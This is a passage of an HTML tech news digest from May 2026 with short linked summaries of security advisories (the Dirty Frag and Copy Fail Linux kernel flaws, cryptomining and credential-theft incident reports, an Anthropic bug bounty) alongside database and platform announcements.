<h3 id="h3-fixing-javascript-observability-one-library-at-a-time" class="group relative scroll-mt-24">
        <a href="#h3-fixing-javascript-observability-one-library-at-a-time" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Fixing JavaScript observability, one library at a time
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-fixing-javascript-observability-one-library-at-a-time"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Sentry is adding TracingChannel support to 44 JavaScript libraries upstream, replacing fragile monkey-patching with native observability that works across all runtimes.</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/fixing-javascript-observability/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-security" class="group relative scroll-mt-24">
        <a href="#h2-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔐 Security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="group relative scroll-mt-24">
        <a href="#h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Threats Making WAVs - Incident Response to a Cryptomining Attack
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/threats-making-wavs-incident-reponse-cryptomining-attack"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-anthropic-puts-the-myth-in-mythos-with-its-hackerone-bug-bounty-program" class="group relative scroll-mt-24">
        <a href="#h3-anthropic-puts-the-myth-in-mythos-with-its-hackerone-bug-bounty-program" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Anthropic puts the “myth” in Mythos with its HackerOne bug bounty program
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-anthropic-puts-the-myth-in-mythos-with-its-hackerone-bug-bounty-program"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Bug bounty programs have been a cornerstone of cybersecurity for years, serving as conduits for hackers and security researchers to The post Anthropic puts the “myth” in Mythos with its HackerOne bug </p>
<p><strong>📅 May 10, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/anthropic-public-bug-bounty/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-route-53-global-resolver-now-lets-you-add-and-remove-aws-regions-for-anycast-dns-resolution" class="group relative scroll-mt-24">
        <a href="#h3-amazon-route-53-global-resolver-now-lets-you-add-and-remove-aws-regions-for-anycast-dns-resolution" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon Route 53 Global Resolver now lets you add and remove AWS Regions for anycast DNS resolution
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-route-53-global-resolver-now-lets-you-add-and-remove-aws-regions-for-anycast-dns-resolution"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon Route 53 Global Resolver now lets you add and remove AWS Regions for anycast DNS resolution, giving you flexible control over where your DNS queries are resolved. This allows you to easily expa</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/05/amazon-route-global-resolver-aws/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-dirty-frag-linux-kernel-local-privilege-escalation-vulnerability-mitigations" class="group relative scroll-mt-24">
        <a href="#h3-dirty-frag-linux-kernel-local-privilege-escalation-vulnerability-mitigations" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Dirty Frag Linux kernel local privilege escalation vulnerability mitigations
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-dirty-frag-linux-kernel-local-privilege-escalation-vulnerability-mitigations"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Two local privilege escalation (LPE) vulnerabilities affecting the Linux kernel have been publicly disclosed on May 7, 2026. The vulnerabilities have been assigned the IDs CVE-2026-43284 and CVE-2026-</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/dirty-frag-linux-vulnerability-fixes-available"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-addressing-copyfail2-aka-dirtyfrag-in-suse-virtualization" class="group relative scroll-mt-24">
        <a href="#h3-addressing-copyfail2-aka-dirtyfrag-in-suse-virtualization" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Addressing Copy.Fail2 aka DirtyFrag in SUSE Virtualization
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-addressing-copyfail2-aka-dirtyfrag-in-suse-virtualization"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Security researchers have identified another security issue similar to copy.fail (CVE-2026-43284 / CVE-2026-43500), however in a different subsystem. Upstream report: <a href="https://github.com/V4bel/dirtyfra">https://github.com/V4bel/dirtyfra</a></p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/addressing-copy-fail2-aka-dirtyfrag-in-suse-virtualization/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-cloudflare-responded-to-the-copy-fail-linux-vulnerability" class="group relative scroll-mt-24">
        <a href="#h3-how-cloudflare-responded-to-the-copy-fail-linux-vulnerability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How Cloudflare responded to the “Copy Fail” Linux vulnerability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-cloudflare-responded-to-the-copy-fail-linux-vulnerability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When a critical Linux kernel privilege escalation was publicly disclosed, Cloudflare&#39;s security and engineering teams detected, investigated, and mitigated the threat across our global fleet, confirmi</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/copy-fail-linux-vulnerability-mitigation/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-databases" class="group relative scroll-mt-24">
        <a href="#h2-databases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          💾 Databases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-databases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-whats-new-in-two-april-2026-edition" class="group relative scroll-mt-24">
        <a href="#h3-whats-new-in-two-april-2026-edition" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What’s new in two: April 2026 edition
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-whats-new-in-two-april-2026-edition"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Welcome to “What’s new in two,” your quick hit of Redis releases you might have missed in the past month. If you blinked, you missed it—so here’s the recap. We’re covering the latest developments from</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/whats-new-in-two-april-2026-edition/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-new-bigtable-in-memory-tier-for-sub-millisecond-read-latency" class="group relative scroll-mt-24">
        <a href="#h3-new-bigtable-in-memory-tier-for-sub-millisecond-read-latency" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 New Bigtable in-memory tier for sub-millisecond read latency
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-new-bigtable-in-memory-tier-for-sub-millisecond-read-latency"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the high-stakes world of digital infrastructure, speed isn&#39;t just a metric — it’s currency. At Google Cloud Next ‘26 we announced the Bigtable in-memory tier, a breakthrough for our fully managed c</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/databases/scaling-real-time-performance-with-bigtable-in-memory-tier/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-discover-meko-the-data-infrastructure-for-agents-that-work-and-learn-together" class="group relative scroll-mt-24">
        <a href="#h3-discover-meko-the-data-infrastructure-for-agents-that-work-and-learn-together" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Discover Meko: The Data Infrastructure for Agents That Work and Learn Together
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-discover-meko-the-data-infrastructure-for-agents-that-work-and-learn-together"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Meko is the agent-native data infrastructure that enables multi-agent systems to learn together, building collective memory and shared knowledge that compounds across the entire system. Meko solves th</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 Yugabyte Blog</strong></p>
<p><a href="https://www.yugabyte.com/blog/meko-data-infrastructure-for-agents-that-work-and-learn-together/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-advisory-locking-avoiding-serializable-isolation-and-achieving-efficient-retention-archiving" class="group relative scroll-mt-24">
        <a href="#h3-advisory-locking-avoiding-serializable-isolation-and-achieving-efficient-retention-archiving" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Advisory Locking: Avoiding Serializable Isolation and Achieving Efficient Retention Archiving
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-advisory-locking-avoiding-serializable-isolation-and-achieving-efficient-retention-archiving"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Discover a use case for PG advisory lock that protects against write skew and provides a solution for efficient deletes that meet retention requirements. This data modeling keeps the write path predic</p>
<p><strong>📅 May 6, 2026</strong> • <strong>📰 Yugabyte Blog</strong></p>
<p><a href="https://www.yugabyte.com/blog/advisory-locking-serializable-isolation-and-retention-archiving/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-agent-vs-chatbot-key-differences-explained" class="group relative scroll-mt-24">
        <a href="#h3-ai-agent-vs-chatbot-key-differences-explained" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI agent vs chatbot: Key differences explained
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-agent-vs-chatbot-key-differences-explained"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Agentic AI adoption trends are everywhere right now. Or at least, everyone says they are. But when you peel back the marketing, the line between a chatbot and an AI agent isn&#39;t always obvious. Picking</p>
<p><strong>📅 May 6, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/ai-agent-vs-chatbot/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-use-redis-with-sql" class="group relative scroll-mt-24">
        <a href="#h3-use-redis-with-sql" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Use Redis with SQL
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-use-redis-with-sql"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Yes, you heard that right. Query Redis with SQL. No LLMs needed. Most data science teams already speak SQL fluently, and for many (including LLMs and agents), it’s still the most intuitive way to expr</p>
<p><strong>📅 May 6, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/use-redis-with-sql/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-native-vector-search-for-the-dynamodb-api" class="group relative scroll-mt-24">
        <a href="#h3-native-vector-search-for-the-dynamodb-api" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Native Vector Search for the DynamoDB API
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-native-vector-search-for-the-dynamodb-api"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Developers building on the DynamoDB API can run vector similarity search without the complexity of bolted-on “Zero ETL”</p>
<p><strong>📅 May 5, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/05/05/native-vector-search-dynamodb/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pg_sorted_heap-0130-released" class="group relative scroll-mt-24">
        <a href="#h3-pg_sorted_heap-0130-released" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 pg_sorted_heap 0.13.0 released
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pg_sorted_heap-0130-released"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I am pleased to announce pg_sorted_heap 0.13.0, a PostgreSQL extension for physically sorted heap storage, zone-map pruning, planner-integrated vector search, and a narrow fact-shaped GraphRAG query s</p>
<p><strong>📅 May 5, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/pg_sorted_heap-0130-released-3289/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-platforms" class="group relative scroll-mt-24">
        <a href="#h2-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🌐 Platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="group relative scroll-mt-24">
        <a href="#h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Keep Your Tech Flame Alive: Trailblazer Rachel Bayley
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this Akamai FLAME Trailblazer blog post, Rachel Bayley encourages women to step into the unknown and to be their authentic selves.</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/culture/2024/may/keep-your-tech-flame-alive-trailblazer-rachel-bayley"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-oracle-of-delphi-will-steal-your-credentials" class="group relative scroll-mt-24">
        <a href="#h3-the-oracle-of-delphi-will-steal-your-credentials" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Oracle of Delphi Will Steal Your Credentials
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-oracle-of-delphi-will-steal-your-credentials"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-oracle-of-delphi-steal-your-credentials"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="group relative scroll-mt-24">
        <a href="#h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-nansh0u-campaign-hackers-arsenal-grows-stronger"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-agentic-paradox-and-the-case-for-hybrid-ai" class="group relative scroll-mt-24">
        <a href="#h3-the-agentic-paradox-and-the-case-for-hybrid-ai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The agentic paradox and the case for hybrid AI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-agentic-paradox-and-the-case-for-hybrid-ai"
